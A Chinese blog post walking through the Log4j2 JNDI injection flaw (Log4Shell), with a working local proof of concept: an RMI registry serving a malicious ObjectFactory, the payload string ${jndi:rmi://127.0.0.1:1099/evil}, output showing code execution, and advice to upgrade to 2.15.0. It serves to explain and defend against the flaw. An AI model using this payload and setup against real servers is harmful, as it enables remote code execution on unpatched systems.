Log4j2漏洞详解

本文详细介绍了Log4j2的JDNI漏洞,如何通过该漏洞进行远程注入攻击服务,以及Log4j2发布2.15.0版本修复此问题的过程。通过实例演示了漏洞利用的步骤,强调了更新到最新版本以防止攻击的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

周五本应该是个开心的日子,但是12月10日这一天却开心不起来。我想每个程序员都收到了log4j2告警推送了,不得不紧急处理。

以下主要就是来解释下JDNI怎么通过log4j2远程注入攻击我们服务呢?当天晚上log4j2也紧急上线了2.15.0版本修复了此漏洞。

1 引入log4j2依赖包 

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-demo</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <log4.version>2.14.0</log4.version>
    </properties>


    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>${log4.version}</version>
        </dependency>

        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>${log4.version}</version>
        </dependency>
    </dependencies>


</project>
package com.lwl;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {

    private static final Logger logger= LogManager.getLogger();


    public static void main(String[] args) {

        String userName= "李商隐";

        logger.info("这是我们的服务,你好:{}",userName);
    }
}

上面这段代码肯定是大家最熟悉不过了,输出大达也知道:这是我们的服务,你好:李商隐

但是再看下下面的代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {

    private static final Logger logger= LogManager.getLogger();

    public static void main(String[] args) {
        //String userName= "李商隐";
        String userName= "${java:os}";
        logger.info("这是我们的服务,你好:{}",userName);
    }
}

输出的结果却是:这是我们的服务,你好:Windows 10 10.0, architecture: amd64-64

而不是? 这是我们的服务,你好:${java:os}  这是为什么呢?

2 接着我们打开阿帕奇 log4j2网站查看

 

 上面的文档只好对应了刚刚输入的  java:os

3 下面是此次JDNI攻击

 log4j2遇到了${}都会根据所属的指令去执行相应的处理。

下面我们准备一个服务

3.1 一个简单的输出类

package com.lwl.remote;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class ConsoleDTO implements ObjectFactory {

    static {
        System.out.println("你已经被攻击了");
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

3.2 利用LocateRegistry注册一个简单地服务

package com.lwl.remote;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RemoteService {

    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("create rmi registry on port 1099");
            Reference reference = new Reference("com.lwl.remote.ConsoleDTO","com.lwl.remote.ConsoleDTO","com.lwl.remote.ConsoleDTO");
            ReferenceWrapper referenceWrapper =new ReferenceWrapper(reference);
            registry.bind("evil",referenceWrapper);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

}

3.3 修改日志打印类的userName

package com.lwl;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {

    private static final Logger logger= LogManager.getLogger();

    public static void main(String[] args) {

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String userName= "${jndi:rmi://127.0.0.1:1099/evil}";

        logger.info("这是我们的服务,你好:{}",userName);
    }
}

最终我们来查看结果

你已经被攻击了
[11:18:21:946] [INFO] - com.lwl.Log4jTest.main(Log4jTest.java:21) - 这是我们的服务,你好:${jndi:rmi://127.0.0.1:1099/evil}

Process finished with exit code 0

最终执行的服务代码在输出日志的同时执行了我们在输入框注入的代码:你已经背攻击了。

目前log4j2已经上传了最新的包2.15.0 将pom文件引入最新的版本。

再次执行结果将会只有

[11:23:29:958] [INFO] - com.lwl.Log4jTest.main(Log4jTest.java:21) - 这是我们的服务,你好:${jndi:rmi://127.0.0.1:1099/evil}

Process finished with exit code 0

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值